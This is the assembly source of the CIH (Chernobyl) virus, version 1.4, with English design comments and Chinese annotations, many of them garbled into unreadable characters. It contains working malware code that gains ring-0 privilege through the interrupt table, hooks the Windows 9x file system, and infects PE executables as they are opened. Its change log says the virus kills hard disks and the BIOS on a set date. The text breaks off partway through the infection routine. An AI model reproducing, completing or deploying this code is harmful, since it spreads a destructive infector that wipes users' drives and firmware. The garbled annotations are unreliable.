;CIH1.4汾֮ע
;ԴеӢעδ޸,ȫ **************************************************************************** 
; * The Virus Program Information * 
; **************************************************************************** 
; * * 
; * Designer : CIH Source : TTIT of TATUNG in Taiwan * 
; * Create Date : 04/26/1998 Now Version : 1.4 * 
; * Modification Time : 05/31/1998 * 
; * * 
; * Turbo Assembler Version 4.0 : tasm /m cih * 
; * Turbo Link Version 3.01 : tlink /3 /t cih, cih.exe * ;ӷ 
; * * ;ʹõTurboAssembler 
; *==========================================================================* ;Borland C++ 3.1ҵ 
; * Modification History * 
; *==========================================================================* 
; * v1.0 1. Create the Virus Program. * 
; * 2. The Virus Modifies IDT to Get Ring0 Privilege. * 
; * 04/26/1998 3. Virus Code doesn't Reload into System. * 
; * 4. Call IFSMgr_InstallFileSystemApiHook to Hook File System. * 
; * 5. Modifies Entry Point of IFSMgr_InstallFileSystemApiHook. * 
; * 6. When System Opens Existing PE File, the File will be * 
; * Infected, and the File doesn't be Reinfected. * 
; * 7. It is also Infected, even the File is Read-Only. * 
; * 8. When the File is Infected, the Modification Date and Time * 
; * of the File also don't be Changed. * 
; * 9. When My Virus Uses IFSMgr_Ring0_FileIO, it will not Call * 
; * Previous FileSystemApiHook, it will Call the Function * 
; * that the IFS Manager Would Normally Call to Implement * 
; * this Particular I/O Request. * 
; * 10. The Virus Size is only 656 Bytes. * 
; *==========================================================================* 
; * v1.1 1. Especially, the File that be Infected will not Increase * 
; * it's Size... ^__^ * 
; * 05/15/1998 2. Hook and Modify Structured Exception Handing. * 
; * When Exception Error Occurs, Our OS System should be in * 
; * Windows NT. So My Cute Virus will not Continue to Run, * 
; * it will Jmup to Original Application to Run. * 
; * 3. Use Better Algorithm, Reduce Virus Code Size. * 
; * 4. The Virus "Basic" Size is only 796 Bytes. * 
; *==========================================================================* 
; * v1.2 1. Kill All HardDisk, and BIOS... Super... Killer... * 
; * 2. Modify the Bug of v1.1 * 
; * 05/21/1998 3. The Virus "Basic" Size is 1003 Bytes. * 
; *==========================================================================* 
; * v1.3 1. Modify the Bug that WinZip Self-Extractor Occurs Error. * 
; * So When Open WinZip Self-Extractor ==> Don't Infect it. * 
; * 05/24/1998 2. The Virus "Basic" Size is 1010 Bytes. * 
; *==========================================================================* 
; * v1.4 1. Full Modify the Bug : WinZip Self-Extractor Occurs Error. * 
; * 2. Change the Date of Killing Computers. * 
; * 05/31/1998 3. Modify Virus Version Copyright. * 
; * 4. The Virus "Basic" Size is 1019 Bytes. * 
; **************************************************************************** 

.586P ;586ģʽ 

; **************************************************************************** 
; * Original PE Executable File(Don't Modify this Section) * 
; **************************************************************************** 

OriginalAppEXE SEGMENT 

FileHeader: ;ӺPEʽִļļͷ 
db 04dh, 05ah, 090h, 000h, 003h, 000h, 000h, 000h 
db 004h, 000h, 000h, 000h, 0ffh, 0ffh, 000h, 000h 
db 0b8h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 040h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 080h, 000h, 000h, 000h 
db 00eh, 01fh, 0bah, 00eh, 000h, 0b4h, 009h, 0cdh 
db 021h, 0b8h, 001h, 04ch, 0cdh, 021h, 054h, 068h 
db 069h, 073h, 020h, 070h, 072h, 06fh, 067h, 072h 
db 061h, 06dh, 020h, 063h, 061h, 06eh, 06eh, 06fh 
db 074h, 020h, 062h, 065h, 020h, 072h, 075h, 06eh 
db 020h, 069h, 06eh, 020h, 044h, 04fh, 053h, 020h 
db 06dh, 06fh, 064h, 065h, 02eh, 00dh, 00dh, 00ah 
db 024h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 050h, 045h, 000h, 000h, 04ch, 001h, 001h, 000h 
db 0f1h, 068h, 020h, 035h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 0e0h, 000h, 00fh, 001h 
db 00bh, 001h, 005h, 000h, 000h, 010h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 010h, 010h, 000h, 000h, 000h, 010h, 000h, 000h 
db 000h, 020h, 000h, 000h, 000h, 000h, 040h, 000h 
db 000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h 
db 004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 020h, 000h, 000h, 000h, 002h, 000h, 000h 
db 000h, 000h, 000h, 000h, 002h, 000h, 000h, 000h 
db 000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h 
db 000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h 
db 000h, 000h, 000h, 000h, 010h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 02eh, 074h, 065h, 078h, 074h, 000h, 000h, 000h 
db 000h, 010h, 000h, 000h, 000h, 010h, 000h, 000h 
db 000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 020h, 000h, 000h, 060h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 0c3h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
dd 00000000h, VirusSize 

OriginalAppEXE ENDS 

; **************************************************************************** 
; * My Virus Game * 
; **************************************************************************** 

; ********************************************************* 
; * Constant Define * 
; ********************************************************* 

TRUE = 1 
FALSE = 0 

DEBUG = FALSE 

MajorVirusVersion = 1 ;汾 
MinorVirusVersion = 4 ;汾 

VirusVersion = MajorVirusVersion*10h+MinorVirusVersion ;ϳɰ汾 


IF DEBUG ;Ƿǵ 

FirstKillHardDiskNumber = 81h ;ɱڶӲ̡d 
HookExceptionNumber = 05h ;ʹ5ж 

ELSE 

FirstKillHardDiskNumber = 80h ;ɱһӲ̡c 
HookExceptionNumber = 03h ;ʹ3ж 

ENDIF 


FileNameBufferSize = 7fh 

; ********************************************************* 
; ********************************************************* 

VirusGame SEGMENT 

ASSUME CS:VirusGame, DS:VirusGame, SS:VirusGame 
ASSUME ES:VirusGame, FS:VirusGame, GS:VirusGame 

; ********************************************************* 
; * Ring3 Virus Game Initial Program * 
; ********************************************************* 

MyVirusStart: 
push ebp 

; ************************************* 
; * Let's Modify Structured Exception * 
; * Handing, Prevent Exception Error * 
; * Occurrence, Especially in NT. * 
; ************************************* 

lea eax, [esp-04h*2] 

xor ebx, ebx 
xchg eax, fs:[ebx] 

call @0 
@0: 
pop ebx ;ȡʼƫ? 
;ôƫ+ƫþԵַ(õ 
lea ecx, StopToRunVirusCode-@0[ebx] 
push ecx 

push eax 

; ************************************* 
; * Let's Modify * 
; * IDT(Interrupt Descriptor Table) * 
; * to Get Ring0 Privilege... * 
; ************************************* 

push eax ; 
sidt [esp-02h] ; Get IDT Base Address ?;жĻַebx 
pop ebx ; 

add ebx, HookExceptionNumber*08h+04h ; ZF = 0 ;ҪжϵĻַebx 

cli ;ڸıǰж? 

mov ebp, [ebx] ; Get Exception Base 
mov bp, [ebx-04h] ; Entry Point ?;ȡжϻַebp 

lea esi, MyExceptionHook-@1[ecx] 

push esi ?;esiΪж̵ַ 

mov [ebx-04h], si ; 
shr esi, 16 ; Modify Exception 
mov [ebx+02h], si ; Entry Point Address;޸жϻַʹָ򲡶ж 

pop esi 

; ************************************* 
; * Generate Exception to Get Ring0 * 
; ************************************* 

int HookExceptionNumber ; GenerateException;жϵķʽ0 
ReturnAddressOfEndException = $ 

; ************************************* 
; * Merge All Virus Code Section * 
; ************************************* 

push esi 
mov esi, eax ;esiָ򲡶ʼ 

LoopOfMergeAllVirusCodeSection: 

mov ecx, [eax-04h] 

rep movsb ;뵽õϵͳڴַ 

sub eax, 08h 

mov esi, [eax] 

or esi, esi 
jz QuitLoopOfMergeAllVirusCodeSection ; ZF = 1 ; 

jmp LoopOfMergeAllVirusCodeSection ;һ 

QuitLoopOfMergeAllVirusCodeSection: 

pop esi 

; ************************************* 
; * Generate Exception Again * 
; ************************************* 

int HookExceptionNumber ; GenerateException Aga 
;һν0 

; ************************************* 
; * Let's Restore * 
; * Structured Exception Handing * 
; ************************************* 

ReadyRestoreSE: 
sti ;ж 

xor ebx, ebx 

jmp RestoreSE 

; ************************************* 
; * When Exception Error Occurs, * 
; * Our OS System should be in NT. * 
; * So My Cute Virus will not * 
; * Continue to Run, it Jmups to * 
; * Original Application to Run. * 
; ************************************* 

StopToRunVirusCode: 
@1 = StopToRunVirusCode 

xor ebx, ebx 
mov eax, fs:[ebx] 
mov esp, [eax] 

RestoreSE: 
pop dword ptr fs:[ebx] 
pop eax 

; ************************************* 
; * Return Original App to Execute * 
; ************************************* 

pop ebp 

push 00401000h ; Push Original 
OriginalAddressOfEntryPoint = $-4 ; App Entry Point to Stack 
;ԭĿʼַѹջ 
ret ; Return to Original App Entry Point ;ӳ򷵻ʽصԭĿʼ 

; ********************************************************* 
; * Ring0 Virus Game Initial Program * 
; ********************************************************* 

MyExceptionHook: 
@2 = MyExceptionHook 

jz InstallMyFileSystemApiHook ;ѿ 
;תװļϵͳӵĳ 
; ************************************* 
; * Do My Virus Exist in System !? * 
; ************************************* 

mov ecx, dr0 ;쿴dr0Ƿù(dr0Ϊפ־) 
jecxz AllocateSystemMemoryPage ;û,ϵͳڴ 

add dword ptr [esp], ReadyRestoreSE-ReturnAddressOfEndException 

; ************************************* 
; * Return to Ring3 Initial Program * 
; ************************************* 

ExitRing0Init: 
mov [ebx-04h], bp ; 
shr ebp, 16 ; Restore Exception 
mov [ebx+02h], bp ; ;ָԭжϻַ 

iretd ;жϷ 

; ************************************* 
; * Allocate SystemMemory Page to Use * 
; ************************************* 

AllocateSystemMemoryPage: 

mov dr0, ebx ; Set the Mark of My Virus Exist in System 
;dr0,ǲפı־ 
push 00000000fh ; 
push ecx ; 
push 0ffffffffh ; 
push ecx ;÷ULONG EXTERN _PageAllocate(ULONG nPages, ULONG pType, ULONG VM, 
;ULONG AlignMask, ULONG minPhys, ULONG maxPhys, ULONG *PhysAddr,
;ULONG flags); 
push ecx ; 
push ecx ; 
push 000000001h ; 
push 000000002h ; 
int 20h ; VMMCALL _PageAllocate;VXD
_PageAllocate = $ ; 
dd 00010053h ; Use EAX, ECX, EDX, and flags 
add esp, 08h*04h ;ָջָ 

xchg edi, eax ; EDI = SystemMemory Start Address 
; EDIָõϵͳڴַ 
lea eax, MyVirusStart-@2[esi] ;eaxָ򲡶ʼ 

iretd ; Return to Ring3 Initial Program ;˳ж,3(ص"Merge All Virus Code Section") 

; ************************************* 
; * Install My File System Api Hook * 
; ************************************* 

InstallMyFileSystemApiHook: 

lea eax, FileSystemApiHook-@6[edi] ;ָļϵͳӳַ 

push eax ; 
int 20h ; VXDCALL IFSMgr_InstallFileSystemApiHook 
IFSMgr_InstallFileSystemApiHook = $ ; 
dd 00400067h ; Use EAX, ECX, EDX, and flags 
;ڵúΪcall [IFSMgr_InstallFileSystemApiHook] 
mov dr0, eax ; Save OldFileSystemApiHook Address 
;ԭļϵͳӳַdr0(ĵõķֵǰһֵ) 
pop eax ; EAX = FileSystemApiHook Address 

; Save Old IFSMgr_InstallFileSystemApiHook Entry Point 
mov ecx, IFSMgr_InstallFileSystemApiHook-@2[esi] 
mov edx, [ecx] ;edxΪIFSMgr_InstallFileSystemApiHookܵĵַ 
mov OldInstallFileSystemApiHook-@3[eax], edx ?; 

; Modify IFSMgr_InstallFileSystemApiHook Entry Point 
lea eax, InstallFileSystemApiHook-@3[eax] 
mov [ecx], eax ?;µIFSMgr_InstallFileSystemApiHookܵõĵַ 
;ʹָInstallFileSystemApiHook 
cli 

jmp ExitRing0Init ?;˳0int 3 or int 5 

; ********************************************************* 
; * Code Size of Merge Virus Code Section * 
; ********************************************************* 

CodeSizeOfMergeVirusCodeSection = offset $ 

; ********************************************************* 
; * IFSMgr_InstallFileSystemApiHook * 
; ********************************************************* 

InstallFileSystemApiHook: ;µIFSMgr_InstallFileSystemApiHookܵ 
push ebx 

call @4 ; 
@4: ; 
pop ebx ; mov ebx, offset FileSystemApiHook ;õǰָƫƵַ 
add ebx, FileSystemApiHook-@4 ;ƫƵĲ=FileSystemApiHookƫ 

push ebx 
int 20h ; VXDCALL IFSMgr_RemoveFileSystemApiHook ;VXDȥָFileSystemApiHookĹ 
IFSMgr_RemoveFileSystemApiHook = $ 
dd 00400068h ; Use EAX, ECX, EDX, and flags ;ú 
pop eax 

; Call Original IFSMgr_InstallFileSystemApiHook 
; to Link Client FileSystemApiHook 
push dword ptr [esp+8] 
call OldInstallFileSystemApiHook-@3[ebx] ;ԭIFSMgr_InstallFileSystemApiHookù 
pop ecx 

push eax 

; Call Original IFSMgr_InstallFileSystemApiHook 
; to Link My FileSystemApiHook 
push ebx 
call OldInstallFileSystemApiHook-@3[ebx] ;ԭIFSMgr_InstallFileSystemApiHookù 
pop ecx 

mov dr0, eax ; Adjust OldFileSystemApiHook Address ;ԭĵַ 

pop eax 

pop ebx 

ret 

; ********************************************************* 
; * Static Data * 
; ********************************************************* 

OldInstallFileSystemApiHook dd ? ;ԭInstallFileSystemApiHookõĵַ 

; ********************************************************* 
; * IFSMgr_FileSystemHook * 
; ********************************************************* 

; ************************************* 
; * IFSMgr_FileSystemHook Entry Point * 
; ************************************* 

FileSystemApiHook: ;װõļϵͳ 
@3 = FileSystemApiHook 

pushad ;Ĵ(20h) 

call @5 ; 
@5: ; 
pop esi ; mov esi, offset ;esiΪǰָƫ 
add esi, VirusGameDataStartAddress-@5 
;esiΪFileSystemApiHookƫƼϵVirusGameDataStartAddressƫ֮=VirusGameDataStartAddressƫ

; ************************************* 
; * Is OnBusy !? * 
; ************************************* 

test byte ptr (OnBusy-@6)[esi], 01h ; if ( OnBusy ) ;"æ"־
jnz pIFSFunc ; goto pIFSFunc ;"æ"תpIFSFunc

; ************************************* 
; * Is OpenFile !? * 
; ************************************* 

; if ( NotOpenFile ) 
; goto prevhook 
lea ebx, [esp+20h+04h+04h] ;ebxΪFunctionNumĵַ
;ļϵͳӵĵøʽ 
;FileSystemApiHookFunction(pIFSFunc FSDFnAddr, int FunctionNum, int Drive,int ResourceFlags, int CodePage, pioreq pir)

;2 
cmp dword ptr [ebx], 00000024h ;Դ˴εǷΪ˴ļ
;DDKifs.hж#define IFSFN_OPEN 36 
jne prevhook ;Ǿǰһļȥ 

; ************************************* 
; * Enable OnBusy * 
; ************************************* 

inc byte ptr (OnBusy-@6)[esi] ; Enable OnBusy ;"æ"־Ϊ"æ" 

; ************************************* 
; * Get FilePath's DriveNumber, * 
; * then Set the DriveName to * 
; * FileNameBuffer. * 
; ************************************* 
; * Ex. If DriveNumber is 03h, * 
; * DriveName is 'C:'. * 
; ************************************* 

; mov esi, offset FileNameBuffer 
add esi, FileNameBuffer-@6 ;esiָFileNameBuffer 

push esi ;֮ 

mov al, [ebx+04h] ;ebx+4Ϊint Driveĵַ 
cmp al, 0ffh ;ǷUNC(universal naming conventions)ַ 
je CallUniToBCSPath ;Ǿת 

add al, 40h 
mov ah, ':' 

mov [esi], eax ;"X:"ʽ 

inc esi 
inc esi 

; ************************************* 
; * UniToBCSPath * 
; ************************************* 
; * This Service Converts * 
; * a Canonicalized Unicode Pathname * ;Canonicalized UnicodeַתΪͨBCSַ 
; * to a Normal Pathname in the * 
; * Specified BCS Character Set. * 
; ************************************* 
;÷ UniToBCSPath(unsigned char * pBCSPath, ParsedPath * pUniPath, unsigned int maxLength, int charSet)


CallUniToBCSPath: 
push 00000000h ;ַ 
push FileNameBufferSize ;ַ 
mov ebx, [ebx+10h] 
mov eax, [ebx+0ch] 
add eax, 04h 
push eax ;Uniַַ 
push esi ;BCSַַ 
int 20h ; VXDCall UniToBCSPath ;UniToBCSPath 
UniToBCSPath = $ 
dd 00400041h ;id 
add esp, 04h*04h 

; ************************************* 
; * Is FileName '.EXE' !? * 
; ************************************* 

; cmp [esi+eax-04h], '.EXE' 
cmp [esi+eax-04h], 'EXE.' ;Ƿ*.EXE(ִ)ļ 
pop esi 
jne DisableOnBusy 

IF DEBUG 

; ************************************* 
; * Only for Debug * 
; ************************************* 

; cmp [esi+eax-06h], 'FUCK' 
cmp [esi+eax-06h], 'KCUF' ;ǲ;Ƿ"FUCK.EXE" 
jne DisableOnBusy 

ENDIF 

; ************************************* 
; * Is Open Existing File !? * 
; ************************************* 

; if ( NotOpenExistingFile ) 
; goto DisableOnBusy 
cmp word ptr [ebx+18h], 01h ;Ƿ 
jne DisableOnBusy 

; ************************************* 
; * Get Attributes of the File * 
; ************************************* 

mov ax, 4300h ;IFSMgr_Ring0_FileIOĻļԺ(R0_FILEATTRIBUTES/GET_ATTRIBUTES) 
int 20h ; VXDCall IFSMgr_Ring0_FileIO ;IFSMgr_Ring0_FileIOĻļԵĹ 
IFSMgr_Ring0_FileIO = $ 
dd 00400032h ;ú 

jc DisableOnBusy ;ʧܷ? 

push ecx 

; ************************************* 
; * Get IFSMgr_Ring0_FileIO Address * 
; ************************************* 

mov edi, dword ptr (IFSMgr_Ring0_FileIO-@7)[esi] 
mov edi, [edi] ;IFSMgr_Ring0_FileIOõĵַ 

; ************************************* 
; * Is Read-Only File !? * 
; ************************************* 

test cl, 01h 
jz OpenFile ;Ƿֻļ 

; ************************************* 
; * Modify Read-Only File to Write * 
; ************************************* 

mov ax, 4301h ;IFSMgr_Ring0_FileIOĻļԺ(R0_FILEATTRIBUTES/SET_ATTRIBUTES ) 
xor ecx, ecx 
call edi ; VXDCall IFSMgr_Ring0_FileIO ;IFSMgr_Ring0_FileIOĸļԹ,ʹļд


; ************************************* 
; * Open File * 
; ************************************* 

OpenFile: 
xor eax, eax 
mov ah, 0d5h ;IFSMgr_Ring0_FileIOĴļܺ(R0_OPENCREATFILE or RO_OPENCREAT_IN_CONTEXT)
xor ecx, ecx ;ļ 
xor edx, edx 
inc edx 
mov ebx, edx 
inc ebx ;esiΪļַ 
call edi ; VXDCall IFSMgr_Ring0_FileIO ;IFSMgr_Ring0_FileIOĴļ 

xchg ebx, eax ; mov ebx, FileHandle ;ebxбļ 

; ************************************* 
; * Need to Restore * 
; * Attributes of the File !? * 
; ************************************* 

pop ecx 

pushf 

test cl, 01h 
jz IsOpenFileOK ;ǷҪָļ(дԾͲҪָ) 

; ************************************* 
; * Restore Attributes of the File * 
; ************************************* 

mov ax, 4301h ;IFSMgr_Ring0_FileIOĻļԺ(R0_FILEATTRIBUTES/SET_ATTRIBUTES) 
call edi ; VXDCall IFSMgr_Ring0_FileIO ;ָļ 

; ************************************* 
; * Is Open File OK !? * 
; ************************************* 

IsOpenFileOK: 
popf 

jc DisableOnBusy ;Ƿɹ? 

; ************************************* 
; * Open File Already Succeed. ^__^ * 
; ************************************* 

push esi ; Push FileNameBuffer Address to Stack ;ļַѹջ 

pushf ; Now CF = 0, Push Flag to Stack ;־λ 

add esi, DataBuffer-@7 ; mov esi, offset DataBuffer ;esiַָ 

; *************************** 
; * Get OffsetToNewHeader * 
; *************************** 

xor eax, eax 
mov ah, 0d6h ;IFSMgr_Ring0_FileIOĶļܺ(R0_READFILE) 

; For Doing Minimal VirusCode's Length, 
; I Save EAX to EBP. 
mov ebp, eax 

push 00000004h ;ȡ4ֽ 
pop ecx 
push 0000003ch ;ȡdosļͷƫ3chWindowsļͷײƫ 
pop edx 
call edi ; VXDCall IFSMgr_Ring0_FileIO ;ļesi 

mov edx, [esi] ;WindowsļͷײƫƷŵedx 

; *************************** 
; * Get 'PE\0' Signature * 
; * of ImageFileHeader, and * 
; * Infected Mark. * 
; *************************** 

dec edx 

mov eax, ebp ;ܺ 
call edi ; VXDCall IFSMgr_Ring0_FileIO ;ļesi 

; *************************** 
; * Is PE !? * 
; *************************** 
; * Is the File * 
; * Already Infected !? * 
; *************************** 
; * WinZip Self-Extractor * 
; * doesn't Have Infected * 
; * Mark Because My Virus * 
; * doesn't Infect it. * 
; *************************** 

; cmp [esi], '\0PE\0' 
cmp dword ptr [esi], 00455000h ;жǷPEļ(־"PE\0\0") 
jne CloseFile ;Ǿ͹رļ 

; ************************************* 
; * The File is ^o^ * 
; * PE(Portable Executable) indeed. * 
; ************************************* 
; * The File isn't also Infected. * 
; ************************************* 

; ************************************* 
; * Start to Infect the File * 
; ************************************* 
; * Registers Use Status Now : * 
; * * 
; * EAX = 04h * 
; * EBX = File Handle * 
; * ECX = 04h * 
; * EDX = 'PE\0\0' Signature of * 
; * ImageFileHeader Pointer's * 
; * Former Byte. * 
; * ESI = DataBuffer Address ==> @8 * 
; * EDI = IFSMgr_Ring0_FileIO Address * 
; * EBP = D600h ==> Read Data in File * 
; ************************************* 
; * Stack Dump : * 
; * * 
; * ESP => ------------------------- * 
; * | EFLAG(CF=0) | * 
; * ------------------------- * 
; * | FileNameBufferPointer | * 
; * ------------------------- * 
; * | EDI | * 
; * ------------------------- * 
; * | ESI | * 
; * ------------------------- * 
; * | EBP | * 
; * ------------------------- * 
; * | ESP | * 
; * ------------------------- * 
; * | EBX | * 
; * ------------------------- * 
; * | EDX | * 
; * ------------------------- * 
; * | ECX | * 
; * ------------------------- * 
; * | EAX | * 
; * ------------------------- * 
; * | Return Address | * 
; * ------------------------- * 
; ************************************* 

push ebx ; Save File Handle ;ļ 

push 00h ; Set VirusCodeSectionTableEndMark 

; *************************** 
; * Let's Set the * 
; * Virus' Infected Mark * 
; *************************** 

push 01h ; Size 
push edx ; Pointer of File ;edxָPEļͷƫ00h 
push edi ; Address of Buffer ;ediΪIFSMgr_Ring0_FileIOĵַ(ԭע) 

; *************************** 
; * Save ESP Register * 
; *************************** 

mov dr1, esp 

; *************************** 
; * Let's Set the * 
; * NewAddressOfEntryPoint * 
; * ( Only First Set Size ) * 
; *************************** 

push eax ; Size 

; *************************** 
; * Let's Read * 
; * Image Header in File * 
; *************************** 

mov eax, ebp 
mov cl, SizeOfImageHeaderToRead ;Ҫ2ֽ(WORD NumberOfSections) 
add edx, 07h ; Move EDX to NumberOfSections ;PEļͷ+07hΪNumberOfSections() 
call edi ; VXDCall IFSMgr_Ring0_FileIO ;NumberOfSections()esi 

; *************************** 
; * Let's Set the * 
; * NewAddressOfEntryPoint * 
; * ( Set Pointer of File, * 
; * Address of Buffer ) * 
; *************************** 

lea eax, (AddressOfEntryPoint-@8)[edx] 
push eax ; Pointer of File 

lea eax, (NewAddressOfEntryPoint-@8)[esi] 
push eax ; Address of Buffer 

; *************************** 
; * Move EDX to the Start * 
; * of SectionTable in File * 
; *************************** 

movzx eax, word ptr (SizeOfOptionalHeader-@8)[esi] 
lea edx, [eax+edx+12h] ;edxΪSectionTableƫ 

; *************************** 
; * Let's Get * 
; * Total Size of Sections * 
; *************************** 

mov al, SizeOfScetionTable ;ÿ(ScetionTable)ĴС(ֽ) 

; I Assume NumberOfSections <= 0ffh 
mov cl, (NumberOfSections-@8)[esi] 

mul cl ;ÿԿ=С 

; *************************** 
; * Let's Set Section Table * 
; *************************** 

; Move ESI to the Start of SectionTable 
lea esi, (StartOfSectionTable-@8)[esi] ;esiַָ(ڲ̬) 

push eax ; Size ;С 
push edx ; Pointer of File ;edxΪSectionTableƫ 
push esi ; Address of Buffer ; 

; *************************** 
; * The Code Size of Merge * 
; * Virus Code Section and * 
; * Total Size of Virus * 
; * Code Section Table Must * 
; * be Small or Equal the * 
; * Unused Space Size of * 
; * Following Section Table * 
; *************************** 

inc ecx 
push ecx ; Save NumberOfSections+1 

shl ecx, 03h ;*8 
push ecx ; Save TotalSizeOfVirusCodeSectionTable ;Ԥռ 

add ecx, eax 
add ecx, edx ;ecx+ļĵƫ 

sub ecx, (SizeOfHeaders-@9)[esi] 
not ecx 
inc ecx ; 
;ecxΪļͷС-ĵƫ=δÿռ 
; Save My Virus First Section Code 
; Size of Following Section Table... 
; ( Not Include the Size of Virus Code Section Table ) 
push ecx 

xchg ecx, eax ; ECX = Size of Section Table ;ecxΪС 

; Save Original Address of Entry Point 
mov eax, (AddressOfEntryPoint-@9)[esi] ;RVAַ 
add eax, (ImageBase-@9)[esi] ;װַ 
mov (OriginalAddressOfEntryPoint-@9)[esi], eax ;װʵʵڵַ 

cmp word ptr [esp], small CodeSizeOfMergeVirusCodeSection ;δÿռͲһСȽ
jl OnlySetInfectedMark ;СھֻȾ־

; *************************** 
; * Read All Section Tables * 
; *************************** 

mov eax, ebp ;Ĺܺ 
call edi ; VXDCall IFSMgr_Ring0_FileIO ;esi(@9) 

; *************************** 
; * Full Modify the Bug : * 
; * WinZip Self-Extractor * 
; * Occurs Error... * 
; *************************** 
; * So When User Opens * 
; * WinZip Self-Extractor, * 
; * Virus Doesn't Infect it.* 
; *************************** 
; * First, Virus Gets the * 
; * PointerToRawData in the * 
; * Second Section Table, * 
; * Reads the Section Data, * 
; * and Tests the String of * 
; * 'WinZip(R)'...... * 
; *************************** 

xchg eax, ebp 

push 00000004h 
pop ecx ;4ֽ 

push edx 
mov edx, (SizeOfScetionTable+PointerToRawData-@9)[ebx] ;edxΪڶƫ(.rdata) 

add edx, 12h ;10h+2h(10hΪ"WinZip....") 

call edi ; VXDCall IFSMgr_Ring0_FileIO ;4ֽڵesi 

; cmp [esi], 'nZip' 
cmp dword ptr [esi], 'piZn' ;жǷWinZipԽѹļ 
je NotSetInfectedMark ;ǾͲøȾ־ 

pop edx ;edxָļַ 

; *************************** 
; * Let's Set Total Virus * 
; * Code Section Table * 
; *************************** 

; EBX = My Virus First Section Code 
; Size of Following Section Table 
pop ebx ; δÿռС 
pop edi ; EDI = TotalSizeOfVirusCodeSectionTabl 
pop ecx ; ECX = NumberOfSections+1 

push edi ; Size 

add edx, ebp ; ebpΪС 
push edx ; Pointer of File ;ָ(һ) 

add ebp, esi ; ebpָ򲡶Ŀ(һ) 
push ebp ; Address of Buffer 

; *************************** 
; * Set the First Virus * 
; * Code Section Size in * 
; * VirusCodeSectionTable * 
; *************************** 

lea eax, [ebp+edi-04h] 
mov [eax], ebx ;òһĴС(δÿռС) 

; *************************** 
; * Let's Set My Virus * 
; * First Section Code * 
; *************************** 

push ebx ; Size ;һĴС(δÿռС) 

add edx, edi 
push edx ; Pointer of File ;ָ(һ)+Size??=(ʼ) 

lea edi, (MyVirusStart-@9)[esi] 
push edi ; Address of Buffer ;ָ򲡶ʼ 

; *************************** 
; * Let's Modify the * 
; * AddressOfEntryPoint to * 
; * My Virus Entry Point * 
; *************************** 

mov (NewAddressOfEntryPoint-@9)[esi], edx ;µĳ() 

; *************************** 
; * Setup Initial Data * 
; *************************** 

lea edx, [esi-SizeOfScetionTable] ;edxȼһ,"1"
mov ebp, offset VirusSize ;ebpΪ 

jmp StartToWriteCodeToSections 

; *************************** 
; * Write Code to Sections * 
; *************************** 

LoopOfWriteCodeToSections: 

add edx, SizeOfScetionTable ;1: 
;ָһ 
mov ebx, (SizeOfRawData-@9)[edx] ;ebxΪÿSizeOfRawData(С) 
sub ebx, (VirtualSize-@9)[edx] ;ȥVirtualSize=ÿδÿռ 
jbe EndOfWriteCodeToSections 

push ebx ; Size 

sub eax, 08h 
mov [eax], ebx ;д벡 

mov ebx, (PointerToRawData-@9)[edx] ;ebxΪ(ʵ)ƫ? 
add ebx, (VirtualSize-@9)[edx] ;VirtualSize 
push ebx ; Pointer of File ;ebxָÿδÿռļָ 

push edi ; Address of Buffer 

mov ebx, (VirtualSize-@9)[edx] 
add ebx, (VirtualAddress-@9)[edx] 
add ebx, (ImageBase-@9)[esi] ;ebxΪÿװʵʵַ 
mov [eax+4], ebx ;浽 

mov ebx, [eax] ;ÿδÿռС 
add (VirtualSize-@9)[edx], ebx ;ӵÿVirtualSize

; Section contains initialized data ==> 00000040h 
; Section can be Read. ==> 40000000h 
or (Characteristics-@9)[edx], 40000040h ;ĸÿĿ(Ϊɶ,ʼ) 

StartToWriteCodeToSections: 

sub ebp, ebx ;С-С 
